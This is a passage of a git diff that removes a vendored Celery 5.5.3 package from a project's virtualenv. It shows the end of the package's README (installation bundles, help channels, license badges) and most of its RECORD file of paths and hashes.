https://code.google.com/p/web2py-celery/ -.. _`Tornado`: https://www.tornadoweb.org/ -.. _`tornado-celery`: https://github.com/mher/tornado-celery/ -.. _`FastAPI`: https://fastapi.tiangolo.com/ - -.. _celery-documentation: - -Documentation -============= - -The `latest documentation`_ is hosted at Read The Docs, containing user guides, -tutorials, and an API reference. - -.. _`latest documentation`: https://docs.celeryq.dev/en/latest/ - -.. _celery-installation: - -Installation -============ - -You can install Celery either via the Python Package Index (PyPI) -or from source. - -To install using ``pip``: - -:: - - - $ pip install -U Celery - -.. _bundles: - -Bundles -------- - -Celery also defines a group of bundles that can be used -to install Celery and the dependencies for a given feature. - -You can specify these in your requirements or on the ``pip`` -command-line by using brackets. Multiple bundles can be specified by -separating them by commas. - -:: - - - $ pip install "celery[redis]" - - $ pip install "celery[redis,auth,msgpack]" - -The following bundles are available: - -Serializers -~~~~~~~~~~~ - -:``celery[auth]``: - for using the ``auth`` security serializer. - -:``celery[msgpack]``: - for using the msgpack serializer. - -:``celery[yaml]``: - for using the yaml serializer. - -Concurrency -~~~~~~~~~~~ - -:``celery[eventlet]``: - for using the ``eventlet`` pool. - -:``celery[gevent]``: - for using the ``gevent`` pool. - -Transports and Backends -~~~~~~~~~~~~~~~~~~~~~~~ - -:``celery[amqp]``: - for using the RabbitMQ amqp python library. - -:``celery[redis]``: - for using Redis as a message transport or as a result backend. - -:``celery[sqs]``: - for using Amazon SQS as a message transport. - -:``celery[tblib``]: - for using the ``task_remote_tracebacks`` feature. - -:``celery[memcache]``: - for using Memcached as a result backend (using ``pylibmc``) - -:``celery[pymemcache]``: - for using Memcached as a result backend (pure-Python implementation). - -:``celery[cassandra]``: - for using Apache Cassandra/Astra DB as a result backend with the DataStax driver. - -:``celery[azureblockblob]``: - for using Azure Storage as a result backend (using ``azure-storage``) - -:``celery[s3]``: - for using S3 Storage as a result backend. - -:``celery[gcs]``: - for using Google Cloud Storage as a result backend. - -:``celery[couchbase]``: - for using Couchbase as a result backend. - -:``celery[arangodb]``: - for using ArangoDB as a result backend. - -:``celery[elasticsearch]``: - for using Elasticsearch as a result backend. - -:``celery[riak]``: - for using Riak as a result backend. - -:``celery[cosmosdbsql]``: - for using Azure Cosmos DB as a result backend (using ``pydocumentdb``) - -:``celery[zookeeper]``: - for using Zookeeper as a message transport. - -:``celery[sqlalchemy]``: - for using SQLAlchemy as a result backend (*supported*). - -:``celery[pyro]``: - for using the Pyro4 message transport (*experimental*). - -:``celery[slmq]``: - for using the SoftLayer Message Queue transport (*experimental*). - -:``celery[consul]``: - for using the Consul.io Key/Value store as a message transport or result backend (*experimental*). - -:``celery[django]``: - specifies the lowest version possible for Django support. - - You should probably not use this in your requirements, it's here - for informational purposes only. - -:``celery[gcpubsub]``: - for using Google Pub/Sub as a message transport. - - - -.. _celery-installing-from-source: - -Downloading and installing from source --------------------------------------- - -Download the latest version of Celery from PyPI: - -https://pypi.org/project/celery/ - -You can install it by doing the following: - -:: - - - $ tar xvfz celery-0.0.0.tar.gz - $ cd celery-0.0.0 - $ python setup.py build - # python setup.py install - -The last command must be executed as a privileged user if -you aren't currently using a virtualenv. - -.. _celery-installing-from-git: - -Using the development version ------------------------------ - -With pip -~~~~~~~~ - -The Celery development version also requires the development -versions of ``kombu``, ``amqp``, ``billiard``, and ``vine``. - -You can install the latest snapshot of these using the following -pip commands: - -:: - - - $ pip install https://github.com/celery/celery/zipball/main#egg=celery - $ pip install https://github.com/celery/billiard/zipball/main#egg=billiard - $ pip install https://github.com/celery/py-amqp/zipball/main#egg=amqp - $ pip install https://github.com/celery/kombu/zipball/main#egg=kombu - $ pip install https://github.com/celery/vine/zipball/main#egg=vine - -With git -~~~~~~~~ - -Please see the Contributing section. - -.. _getting-help: - -Getting Help -============ - -.. _mailing-list: - -Mailing list ------------- - -For discussions about the usage, development, and future of Celery, -please join the `celery-users`_ mailing list. - -.. _`celery-users`: https://groups.google.com/group/celery-users/ - -.. _irc-channel: - -IRC ---- - -Come chat with us on IRC. The **#celery** channel is located at the -`Libera Chat`_ network. - -.. _`Libera Chat`: https://libera.chat/ - -.. _bug-tracker: - -Bug tracker -=========== - -If you have any suggestions, bug reports, or annoyances please report them -to our issue tracker at https://github.com/celery/celery/issues/ - -.. _wiki: - -Wiki -==== - -https://github.com/celery/celery/wiki - -Credits -======= - -.. _contributing-short: - -Contributors ------------- - -This project exists thanks to all the people who contribute. Development of -`celery` happens at GitHub: https://github.com/celery/celery - -You're highly encouraged to participate in the development -of `celery`. If you don't like GitHub (for some reason) you're welcome -to send regular patches. - -Be sure to also read the `Contributing to Celery`_ section in the -documentation. - -.. _`Contributing to Celery`: - https://docs.celeryq.dev/en/stable/contributing.html - -|oc-contributors| - -.. |oc-contributors| image:: https://opencollective.com/celery/contributors.svg?width=890&button=false - :target: https://github.com/celery/celery/graphs/contributors - -Backers -------- - -Thank you to all our backers! 🙏 [`Become a backer`_] - -.. _`Become a backer`: https://opencollective.com/celery#backer - -|oc-backers| - -.. |oc-backers| image:: https://opencollective.com/celery/backers.svg?width=890 - :target: https://opencollective.com/celery#backers - -.. _license: - -License -======= - -This software is licensed under the `New BSD License`. See the ``LICENSE`` -file in the top distribution directory for the full license text. - -.. # vim: syntax=rst expandtab tabstop=4 shiftwidth=4 shiftround - -.. |build-status| image:: https://github.com/celery/celery/actions/workflows/python-package.yml/badge.svg - :alt: Build status - :target: https://github.com/celery/celery/actions/workflows/python-package.yml - -.. |coverage| image:: https://codecov.io/github/celery/celery/coverage.svg?branch=main - :target: https://codecov.io/github/celery/celery?branch=main - -.. |license| image:: https://img.shields.io/pypi/l/celery.svg - :alt: BSD License - :target: https://opensource.org/licenses/BSD-3-Clause - -.. |wheel| image:: https://img.shields.io/pypi/wheel/celery.svg - :alt: Celery can be installed via wheel - :target: https://pypi.org/project/celery/ - -.. |semgrep| image:: https://img.shields.io/badge/semgrep-security-green.svg - :alt: Semgrep security - :target: https://go.semgrep.dev/home - -.. |pyversion| image:: https://img.shields.io/pypi/pyversions/celery.svg - :alt: Supported Python versions. - :target: https://pypi.org/project/celery/ - -.. |pyimp| image:: https://img.shields.io/pypi/implementation/celery.svg - :alt: Supported Python implementations. - :target: https://pypi.org/project/celery/ - -.. |ocbackerbadge| image:: https://opencollective.com/celery/backers/badge.svg - :alt: Backers on Open Collective - :target: #backers - -.. |ocsponsorbadge| image:: https://opencollective.com/celery/sponsors/badge.svg - :alt: Sponsors on Open Collective - :target: #sponsors - -.. |downloads| image:: https://pepy.tech/badge/celery - :alt: Downloads - :target: https://pepy.tech/project/celery - -.. |deepwiki| image:: https://devin.ai/assets/deepwiki-badge.png - :alt: Ask http://DeepWiki.com - :target: https://deepwiki.com/celery/celery - :width: 125px diff --git a/backend/venv/Lib/site-packages/celery-5.5.3.dist-info/RECORD b/backend/venv/Lib/site-packages/celery-5.5.3.dist-info/RECORD deleted file mode 100644 index b0a3d8fe..00000000 --- a/backend/venv/Lib/site-packages/celery-5.5.3.dist-info/RECORD +++ /dev/null @@ -1,332 +0,0 @@ -../../Scripts/celery.exe,sha256=hqcSO4V5GXM_7Sn46irRfXHx1IoWL1txBp7gc6o7Z80,108449 -celery-5.5.3.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -celery-5.5.3.dist-info/METADATA,sha256=0LXMLl9irDLbUsh7Ot_bnv4HOw8PZlC-Ow3BYsuN8zY,22953 -celery-5.5.3.dist-info/RECORD,, -celery-5.5.3.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -celery-5.5.3.dist-info/WHEEL,sha256=DnLRTWE75wApRYVsjgc6wsVswC54sMSJhAEd4xhDpBk,91 -celery-5.5.3.dist-info/entry_points.txt,sha256=FkfFPVffdhqvYOPHkpE85ki09ni0e906oNdWLdN7z_Q,48 -celery-5.5.3.dist-info/licenses/LICENSE,sha256=w1jN938ou6tQ1KdU4SMRgznBUjA0noK_Zkic7OOsCTo,2717 -celery-5.5.3.dist-info/top_level.txt,sha256=sQQ-a5HNsZIi2A8DiKQnB1HODFMfmrzIAZIE8t_XiOA,7 -celery/__init__.py,sha256=W4mGD3BD5qK5bwfyMUd9RqkMyE41_4BALYzmnEnPD_M,5945 -celery/__main__.py,sha256=0iT3WCc80mA88XhdAxTpt_g6TFRgmwHSc9GG-HiPzkE,409 -celery/__pycache__/__init__.cpython-311.pyc,, -celery/__pycache__/__main__.cpython-311.pyc,, -celery/__pycache__/_state.cpython-311.pyc,, -celery/__pycache__/beat.cpython-311.pyc,, -celery/__pycache__/bootsteps.cpython-311.pyc,, -celery/__pycache__/canvas.cpython-311.pyc,, -celery/__pycache__/exceptions.cpython-311.pyc,, -celery/__pycache__/local.cpython-311.pyc,, -celery/__pycache__/platforms.cpython-311.pyc,, -celery/__pycache__/result.cpython-311.pyc,, -celery/__pycache__/schedules.cpython-311.pyc,, -celery/__pycache__/signals.cpython-311.pyc,, -celery/__pycache__/states.cpython-311.pyc,, -celery/_state.py,sha256=k7T9CzeYR5PZSr0MjSVvFs6zpfkZal9Brl8xu-vPpXk,5029 -celery/app/__init__.py,sha256=a6zj_J9SaawrlJu3rvwCVY8j7_bIGCzPn7ZH5iUlqNE,2430 -celery/app/__pycache__/__init__.cpython-311.pyc,, -celery/app/__pycache__/amqp.cpython-311.pyc,, -celery/app/__pycache__/annotations.cpython-311.pyc,, -celery/app/__pycache__/autoretry.cpython-311.pyc,, -celery/app/__pycache__/backends.cpython-311.pyc,, -celery/app/__pycache__/base.cpython-311.pyc,, -celery/app/__pycache__/builtins.cpython-311.pyc,, -celery/app/__pycache__/control.cpython-311.pyc,, -celery/app/__pycache__/defaults.cpython-311.pyc,, -celery/app/__pycache__/events.cpython-311.pyc,, -celery/app/__pycache__/log.cpython-311.pyc,, -celery/app/__pycache__/registry.cpython-311.pyc,, -celery/app/__pycache__/routes.cpython-311.pyc,, -celery/app/__pycache__/task.cpython-311.pyc,, -celery/app/__pycache__/trace.cpython-311.pyc,, -celery/app/__pycache__/utils.cpython-311.pyc,, -celery/app/amqp.py,sha256=jlXBDiFRZqJqu4r2YlSQVzTQM_TkpST82WPBPshZ-nE,23582 -celery/app/annotations.py,sha256=93zuKNCE7pcMD3K5tM5HMeVCQ5lfJR_0htFpottgOeU,1445 -celery/app/autoretry.py,sha256=PfSi8sb77jJ57ler-Y5ffdqDWvHMKFgQ_bpVD5937tc,2506 -celery/app/backends.py,sha256=lOQJcKva66fNqfYBuDAcCZIpbHGNKbqsE_hLlB_XdnA,2746 -celery/app/base.py,sha256=nn54l1hjtlXQBqIhHKSBNTZqKhIO961xSklMyyV4Xfw,55932 -celery/app/builtins.py,sha256=gnOyE07M8zgxatTmb0D0vKztx1sQZaRi_hO_d-FLNUs,6673 -celery/app/control.py,sha256=iWy_E2l1BWX8WtxA5OoW2QtHOrJIJL7OIukkEh85CTo,29231 -celery/app/defaults.py,sha256=Hbcck1I99lT8cLdh-JACZQUDCeYrbV_gPIj9sClEaWg,15647 -celery/app/events.py,sha256=9ZyjdhUVvrt6xLdOMOVTPN7gjydLWQGNr4hvFoProuA,1326 -celery/app/log.py,sha256=pSW4hbrH6M_e1CNXYQ8Dxkst7XM5JzfBJvM8R9QnlJQ,9102 -celery/app/registry.py,sha256=imdGUFb9CS4iiZ1pxAwcQAbe1JKKjyv9WTy94qHHQvk,2001 -celery/app/routes.py,sha256=phoACykZ3ESCNXh5X1oAwQwilGu-0wp5TUi_cahogx8,4551 -celery/app/task.py,sha256=ySJ9-7mkb8PSkFw3JMQBL3W12vzYSvR5utCW_JGdIBE,44274 -celery/app/trace.py,sha256=w0qM9MGHeJzOFJREq5m4obPJ6D5hCMHAJwmGdB6n8PM,27551 -celery/app/utils.py,sha256=eZG28T4SMQNUOWpNVQHFozOzvVmYvU9ST9etbhCQXrg,13171 -celery/apps/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -celery/apps/__pycache__/__init__.cpython-311.pyc,, -celery/apps/__pycache__/beat.cpython-311.pyc,, -celery/apps/__pycache__/multi.cpython-311.pyc,, -celery/apps/__pycache__/worker.cpython-311.pyc,, -celery/apps/beat.py,sha256=BX7NfHO_BYy9OuVTcSnyrOTVS1eshFctHDpYGfgKT5A,5724 -celery/apps/multi.py,sha256=1pujkm0isInjAR9IHno5JucuWcwZAJ1mtqJU1DVkJQo,16360 -celery/apps/worker.py,sha256=o2nJ53_rmgYtlzgW7dTL63InMqaOQjTAZwLT1YGzh0U,20297 -celery/backends/__init__.py,sha256=1kN92df1jDp3gC6mrGEZI2eE-kOEUIKdOOHRAdry2a0,23 -celery/backends/__pycache__/__init__.cpython-311.pyc,, -celery/backends/__pycache__/arangodb.cpython-311.pyc,, -celery/backends/__pycache__/asynchronous.cpython-311.pyc,, -celery/backends/__pycache__/azureblockblob.cpython-311.pyc,, -celery/backends/__pycache__/base.cpython-311.pyc,, -celery/backends/__pycache__/cache.cpython-311.pyc,, -celery/backends/__pycache__/cassandra.cpython-311.pyc,, -celery/backends/__pycache__/consul.cpython-311.pyc,, -celery/backends/__pycache__/cosmosdbsql.cpython-311.pyc,, -celery/backends/__pycache__/couchbase.cpython-311.pyc,, -celery/backends/__pycache__/couchdb.cpython-311.pyc,, -celery/backends/__pycache__/dynamodb.cpython-311.pyc,, -celery/backends/__pycache__/elasticsearch.cpython-311.pyc,, -celery/backends/__pycache__/filesystem.cpython-311.pyc,, -celery/backends/__pycache__/gcs.cpython-311.pyc,, -celery/backends/__pycache__/mongodb.cpython-311.pyc,, -celery/backends/__pycache__/redis.cpython-311.pyc,, -celery/backends/__pycache__/rpc.cpython-311.pyc,, -celery/backends/__pycache__/s3.cpython-311.pyc,, -celery/backends/arangodb.py,sha256=aMwuBglVJxigWN8L9NWh-q2NjPQegw__xgRcTMLf5eU,5937 -celery/backends/asynchronous.py,sha256=1_tCrURDVg0FvZhRzlRGYwTmsdWK14nBzvPulhwJeR4,10309 -celery/backends/azureblockblob.py,sha256=vMg80FGC1hRQhYYGHIjlFi_Qa8Fb3ktt0xP_vkH5LzQ,6071 -celery/backends/base.py,sha256=w2UPVsGasypjCd4rdGkOo9blIsoTZWrhuPuaWg_nfYQ,44038 -celery/backends/cache.py,sha256=_o9EBmBByNsbI_UF-PJ5W0u-qwcJ37Q5jaIrApPO4q8,4831 -celery/backends/cassandra.py,sha256=QkXkaYShcf34jBrXe_JJfzx1cj8uXoSRTOAc49cw3Jk,9014 -celery/backends/consul.py,sha256=oAB_94ftS95mjycQ4YL4zIdA-tGmwFyq3B0OreyBPNQ,3816 -celery/backends/cosmosdbsql.py,sha256=XdCVCjxO71XhsgiM9DueJngmKx_tE0erexHf37-JhqE,6777 -celery/backends/couchbase.py,sha256=fyyihfJNW6hWgVlHKuTCHkzWlDjkzWQAWhgW3GJzAds,3393 -celery/backends/couchdb.py,sha256=M_z0zgNFPwFw89paa5kIQ9x9o7VRPwuKCLZgoFhFDpA,2935 -celery/backends/database/__init__.py,sha256=NBdfiaYwWxpGlcP-baWnr18r3leH_b4OW_QsbJMYpSo,8133 -celery/backends/database/__pycache__/__init__.cpython-311.pyc,, -celery/backends/database/__pycache__/models.cpython-311.pyc,, -celery/backends/database/__pycache__/session.cpython-311.pyc,, -celery/backends/database/models.py,sha256=j9e_XbXgLfUcRofbhGkVjrVgYQg5UY08vDQ6jmWIk7M,3394 -celery/backends/database/session.py,sha256=3zu7XwYoE52aS6dsSmJanqlvS6ssjet7hSNUbliwnLo,3011 -celery/backends/dynamodb.py,sha256=DGMQ3LbwgZDIm7bp-8_B4QzgvBSR9KS1VNi6piSrLJM,19580 -celery/backends/elasticsearch.py,sha256=26c6z6X08p69cue6-WoQHJNY71Xmq6voaAx3GQ79Vgw,9582 -celery/backends/filesystem.py,sha256=dmxlaTUZP62r2QDCi2n6-7EaPBBSwJWhUPpd2IRmqf0,3777 -celery/backends/gcs.py,sha256=U_ayh1uIR8J_v5nGR9wEeq-80OesKjoeOW4YBrXpJiU,12411 -celery/backends/mongodb.py,sha256=iCeU6WusM7tDm0LHf_3nU7Xn_FQ7r4Xm0FGRzyIqFu0,11438 -celery/backends/redis.py,sha256=d5lTIivhaPqi2ZFX9WQx0YVR4MKx01mWcKNK5BqwBHI,26531 -celery/backends/rpc.py,sha256=3hFLwM_-uAXwZfzDRP5nGVWX4v-w9D0KvyWASdbcbBI,12077 -celery/backends/s3.py,sha256=MUL4-bEHCcTL53XXyb020zyLYTr44DDjOh6BXtkp9lQ,2752 -celery/beat.py,sha256=sIXY81GRrSMcwfgvWCxE4pxandh-XBhReCXvjKOk42o,24544 -celery/bin/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -celery/bin/__pycache__/__init__.cpython-311.pyc,, -celery/bin/__pycache__/amqp.cpython-311.pyc,, -celery/bin/__pycache__/base.cpython-311.pyc,, -celery/bin/__pycache__/beat.cpython-311.pyc,, -celery/bin/__pycache__/call.cpython-311.pyc,, -celery/bin/__pycache__/celery.cpython-311.pyc,, -celery/bin/__pycache__/control.cpython-311.pyc,, -celery/bin/__pycache__/events.cpython-311.pyc,, -celery/bin/__pycache__/graph.cpython-311.pyc,, -celery/bin/__pycache__/list.cpython-311.pyc,, -celery/bin/__pycache__/logtool.cpython-311.pyc,, -celery/bin/__pycache__/migrate.cpython-311.pyc,, -celery/bin/__pycache__/multi.cpython-311.pyc,, -celery/bin/__pycache__/purge.cpython-311.pyc,, -celery/bin/__pycache__/result.cpython-311.pyc,, -celery/bin/__pycache__/shell.cpython-311.pyc,, -celery/bin/__pycache__/upgrade.cpython-311.pyc,, -celery/bin/__pycache__/worker.cpython-311.pyc,, -celery/bin/amqp.py,sha256=LTO0FZzKs2Z0MBxkccaDG-dQEsmbaLLhKp-0gR4HdQA,10023 -celery/bin/base.py,sha256=yK_iZpyKbwZQ9ciLRzcrkasw9I-GRa_YB_2EVxK11To,9174 -celery/bin/beat.py,sha256=qijjERLGEHITaVSGkFgxTxtPYOwl0LUANkC2s2UmNAk,2592 -celery/bin/call.py,sha256=_4co_yn2gM5uGP77FjeVqfa7w6VmrEDGSCLPSXYRp-w,2370 -celery/bin/celery.py,sha256=80j70fqa-1TcAYwMN4eysk7fevTqbDy2kx5GNApDxoU,7595 -celery/bin/control.py,sha256=grohiNzi7AQ9l1T9Eed36eU7TKwF2llAs0Cl8VnI8aU,8645 -celery/bin/events.py,sha256=fDemvULNVhgG7WiGC-nRnX3yDy4eXTaq8he7T4mD6Jk,2794 -celery/bin/graph.py,sha256=Ld2dKSxIdWHxFXrjsTXAUBj6jb02AVGyTPXDUZA_gvo,5796 -celery/bin/list.py,sha256=2OKPiXn6sgum_02RH1d_TBoXcpNcNsooT98Ht9pWuaY,1058 -celery/bin/logtool.py,sha256=sqK4LfuAtHuVD7OTsKbKfvB2OkfOD-K37ac9i_F8NIs,4267 -celery/bin/migrate.py,sha256=s-lCLk2bFR2GFDB8-hqa8vUhh_pJLdbmb_ZEnjLBF7Y,2108 -celery/bin/multi.py,sha256=FohM99n_i2Ca3cOh9W8Kho3k48Ml18UbpOVpPErNxDk,15374 -celery/bin/purge.py,sha256=K9DSloPR0w2Z68iMyS48ma2_d1m5v8VdwKv6mQZI_58,2608 -celery/bin/result.py,sha256=8UZHRBUaxJre8u3ox2MzxG_08H9sXGnryxbFWnoBPZs,976 -celery/bin/shell.py,sha256=D4Oiw9lEyF-xHJ3fJ5_XckgALDrsDTYlsycT1p4156E,4839 -celery/bin/upgrade.py,sha256=EBzSm8hb0n6DXMzG5sW5vC4j6WHYbfrN2Fx83s30i1M,3064 -celery/bin/worker.py,sha256=cdYBrO2P3HoNzuPwXIJH4GAMu1KlLTEYF40EkVu0veo,12886 -celery/bootsteps.py,sha256=49bMT6CB0LPOK6-i8dLp7Hpko_WaLJ9yWlCWF3Ai2XI,12277 -celery/canvas.py,sha256=2pCVzN6OaLSRQXfm6LmcwDHn2ecCrl6fdd7pkTcSFxk,96992 -celery/concurrency/__init__.py,sha256=CivIIzjLWHEJf9Ed0QFSTCOxNaWpunFDTzC2jzw3yE0,1457 -celery/concurrency/__pycache__/__init__.cpython-311.pyc,, -celery/concurrency/__pycache__/asynpool.cpython-311.pyc,, -celery/concurrency/__pycache__/base.cpython-311.pyc,, -celery/concurrency/__pycache__/eventlet.cpython-311.pyc,, -celery/concurrency/__pycache__/gevent.cpython-311.pyc,, -celery/concurrency/__pycache__/prefork.cpython-311.pyc,, -celery/concurrency/__pycache__/solo.cpython-311.pyc,, -celery/concurrency/__pycache__/thread.cpython-311.pyc,, -celery/concurrency/asynpool.py,sha256=xACoE2WAc05gSxJpljzoxnu-xjR_wBrys3rmCvpT1pk,51822 -celery/concurrency/base.py,sha256=atOLC90FY7who__TonZbpd2awbOinkgWSx3m15Mg1WI,4706 -celery/concurrency/eventlet.py,sha256=i4Xn3Kqg0cxbMyw7_aCTVCi7EOA5aLEiRdkb1xMTpvM,5126 -celery/concurrency/gevent.py,sha256=fiPNf6a380aJOmarkcYSG9FJsSH0DGZS8EjWfIuAhz8,4953 -celery/concurrency/prefork.py,sha256=vdnfeiUtnxa2ZcPSBB-pI6Mwqb2jm8dl-fH_XHPEo6M,5850 -celery/concurrency/solo.py,sha256=H9ZaV-RxC30M1YUCjQvLnbDQCTLafwGyC4g4nwqz3uM,754 -celery/concurrency/thread.py,sha256=rMpruen--ePsdPoqz9mDwswu5GY3avji_eG-7AAY53I,1807 -celery/contrib/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -celery/contrib/__pycache__/__init__.cpython-311.pyc,, -celery/contrib/__pycache__/abortable.cpython-311.pyc,, -celery/contrib/__pycache__/migrate.cpython-311.pyc,, -celery/contrib/__pycache__/pytest.cpython-311.pyc,, -celery/contrib/__pycache__/rdb.cpython-311.pyc,, -celery/contrib/__pycache__/sphinx.cpython-311.pyc,, -celery/contrib/abortable.py,sha256=ffr47ovGoIUO2gMMSrJwWPP6MSyk3_S1XuS02KxRMu4,5003 -celery/contrib/django/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -celery/contrib/django/__pycache__/__init__.cpython-311.pyc,, -celery/contrib/django/__pycache__/task.cpython-311.pyc,, -celery/contrib/django/task.py,sha256=2-CeHXNq4VRMgUoRMsRLnMFJ-yj2C2WB8nfSNNw58-o,727 -celery/contrib/migrate.py,sha256=EvvNWhrykV3lTkZHOghofwemZ-_sixKG97XUyQbS9Dc,14361 -celery/contrib/pytest.py,sha256=ztbqIZ0MuWRLTA-RT6k5BKVvuuk2-HPoFD9-q3uHo-s,6754 -celery/contrib/rdb.py,sha256=BKorafe3KkOj-tt-bEL39R74u2njv-_7rRHfRajr3Ss,5005 -celery/contrib/sphinx.py,sha256=Fkw1dqAqUZ1UaMa7PuHct_Ccg1K0E_OdLq7duNtQkc8,3391 -celery/contrib/testing/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -celery/contrib/testing/__pycache__/__init__.cpython-311.pyc,, -celery/contrib/testing/__pycache__/app.cpython-311.pyc,, -celery/contrib/testing/__pycache__/manager.cpython-311.pyc,, -celery/contrib/testing/__pycache__/mocks.cpython-311.pyc,, -celery/contrib/testing/__pycache__/tasks.cpython-311.pyc,, -celery/contrib/testing/__pycache__/worker.cpython-311.pyc,, -celery/contrib/testing/app.py,sha256=lvW-YY2H18B60mA5SQetO3CzTI7jKQRsZXGthR27hxE,3112 -celery/contrib/testing/manager.py,sha256=WnvWLdVJQfSap5rVSKO8NV2gBzWsczmi5Fr3Hp-85-4,8605 -celery/contrib/testing/mocks.py,sha256=mcWdsxpTvaWkG-QBGnETLcdevl-bzaq3eSOSsGo2y6w,4182 -celery/contrib/testing/tasks.py,sha256=pJM3aabw7udcppz4QNeUg1-6nlnbklrT-hP5JXmL-gM,208 -celery/contrib/testing/worker.py,sha256=RUDXaEaRng6_WD-rydaGziolGEBZ1zhiUiHdCR9DmLA,7217 -celery/events/__init__.py,sha256=9d2cviCw5zIsZ3AvQJkx77HPTlxmVIahRR7Qa54nQnU,477 -celery/events/__pycache__/__init__.cpython-311.pyc,, -celery/events/__pycache__/cursesmon.cpython-311.pyc,, -celery/events/__pycache__/dispatcher.cpython-311.pyc,, -celery/events/__pycache__/dumper.cpython-311.pyc,, -celery/events/__pycache__/event.cpython-311.pyc,, -celery/events/__pycache__/receiver.cpython-311.pyc,, -celery/events/__pycache__/snapshot.cpython-311.pyc,, -celery/events/__pycache__/state.cpython-311.pyc,, -celery/events/cursesmon.py,sha256=GfQQSJwaMKtZawPsvvQ6qGv7f613hMhAJspDa1hz9OM,17961 -celery/events/dispatcher.py,sha256=7b3-3d_6ukvRNajyfiHMX1YvoWNIzaB6zS3-zEUQhG4,8987 -celery/events/dumper.py,sha256=7zOVmAVfG2HXW79Fuvpo_0C2cjztTzgIXnaiUc4NL8c,3116 -celery/events/event.py,sha256=JiIqTm_if7OixGHw_RMCJZM3XkIVmmOXa0pdEA2gulA,1750 -celery/events/receiver.py,sha256=7dVvezYkBQOtyI-rH77-5QDJztPLB933VF7NgmezSuU,4998 -celery/events/snapshot.py,sha256=OLQuxx1af29LKnYKDoTesnPfK_5dFx3zCZ7JSdg9t7A,3294 -celery/events/state.py,sha256=DdYeAw7hGGFTMc4HRMb0MkizlkJryaysV3t8lXbxhD4,25648 -celery/exceptions.py,sha256=FrlxQiodRtx0RrJfgQo5ZMYTJ8BShrJkteSH29TCUKM,9086 -celery/fixups/__init__.py,sha256=7ctNaKHiOa2fVePcdKPU9J-_bQ0k1jFHaoZlCHXY0vU,14 -celery/fixups/__pycache__/__init__.cpython-311.pyc,, -celery/fixups/__pycache__/django.cpython-311.pyc,, -celery/fixups/django.py,sha256=hdjdpvdZ6v7sx52ri0oS7rIzxC7kMGIX9zOXPK1Lrd4,7427 -celery/loaders/__init__.py,sha256=LnRTWk8pz2r7BUj2VUJiBstPjSBwCP0gUDRkbchGW24,490 -celery/loaders/__pycache__/__init__.cpython-311.pyc,, -celery/loaders/__pycache__/app.cpython-311.pyc,, -celery/loaders/__pycache__/base.cpython-311.pyc,, -celery/loaders/__pycache__/default.cpython-311.pyc,, -celery/loaders/app.py,sha256=xqRpRDJkGmTW21N_7zx5F4Na-GCTbNs6Q6tGfInnZnU,199 -celery/loaders/base.py,sha256=bZ-SwMNLIwhPNxigNJTOukd21QoKNfM8sSRb2C_NWL8,9147 -celery/loaders/default.py,sha256=TZq6zR4tg_20sVJAuSwSBLVRHRyfevHkHhUYrNRYkTU,1520 -celery/local.py,sha256=aTPsyEVONXA9g2Wt30j66HnlkFiIyud8RKusIQnZJ5I,16039 -celery/platforms.py,sha256=DDCGCp8yt6f_DrZPSiCjWbju2HJCsFWfk0ytSf-BDxA,25610 -celery/result.py,sha256=fBtnxntU8Qzsd8nk3ODIEyR3vtXDXO_SFCY8VimuIMI,35612 -celery/schedules.py,sha256=ATDKxf_yzojN5awmjpS1YkFk-wWCDCc60uBt7GBJO5s,33030 -celery/security/__init__.py,sha256=I1px-x5-19O-FcCQm1AHHfVB6Pp-bauwbZ-C1fxGJyc,2363 -celery/security/__pycache__/__init__.cpython-311.pyc,, -celery/security/__pycache__/certificate.cpython-311.pyc,, -celery/security/__pycache__/key.cpython-311.pyc,, -celery/security/__pycache__/serialization.cpython-311.pyc,, -celery/security/__pycache__/utils.cpython-311.pyc,, -celery/security/certificate.py,sha256=lopB0DY2fn8uEWz780bqTXPtbEcJTL_OEcO_yeQZWRs,4030 -celery/security/key.py,sha256=NbocdV_aJjQMZs9DJZrStpTnkFZw_K8SICEMwalsPqI,1189 -celery/security/serialization.py,sha256=ZGK6MFpphQgue7Rl3XA0n14f91o-JvAXJBbJuTaANgc,3832 -celery/security/utils.py,sha256=VJuWxLZFKXQXzlBczuxo94wXWSULnXwbO_5ul_hwse0,845 -celery/signals.py,sha256=z2T4UqrODczbaRFAyoNzO0th4lt_jMWzlxnrBh_MUCI,4384 -celery/states.py,sha256=CYEkbmDJmMHf2RzTFtafPcu8EBG5wAYz8mt4NduYc7U,3324 -celery/utils/__init__.py,sha256=lIJjBxvXCspC-ib-XasdEPlB0xAQc16P0eOPb0gWsL0,935 -celery/utils/__pycache__/__init__.cpython-311.pyc,, -celery/utils/__pycache__/abstract.cpython-311.pyc,, -celery/utils/__pycache__/annotations.cpython-311.pyc,, -celery/utils/__pycache__/collections.cpython-311.pyc,, -celery/utils/__pycache__/debug.cpython-311.pyc,, -celery/utils/__pycache__/deprecated.cpython-311.pyc,, -celery/utils/__pycache__/functional.cpython-311.pyc,, -celery/utils/__pycache__/graph.cpython-311.pyc,, -celery/utils/__pycache__/imports.cpython-311.pyc,, -celery/utils/__pycache__/iso8601.cpython-311.pyc,, -celery/utils/__pycache__/log.cpython-311.pyc,, -celery/utils/__pycache__/nodenames.cpython-311.pyc,, -celery/utils/__pycache__/objects.cpython-311.pyc,, -celery/utils/__pycache__/quorum_queues.cpython-311.pyc,, -celery/utils/__pycache__/saferepr.cpython-311.pyc,, -celery/utils/__pycache__/serialization.cpython-311.pyc,, -celery/utils/__pycache__/sysinfo.cpython-311.pyc,, -celery/utils/__pycache__/term.cpython-311.pyc,, -celery/utils/__pycache__/text.cpython-311.pyc,, -celery/utils/__pycache__/threads.cpython-311.pyc,, -celery/utils/__pycache__/time.cpython-311.pyc,, -celery/utils/__pycache__/timer2.cpython-311.pyc,, -celery/utils/abstract.py,sha256=xN2Qr-TEp12P8AYO6WigxFr5p8kJPUUb0f5UX3FtHjI,2874 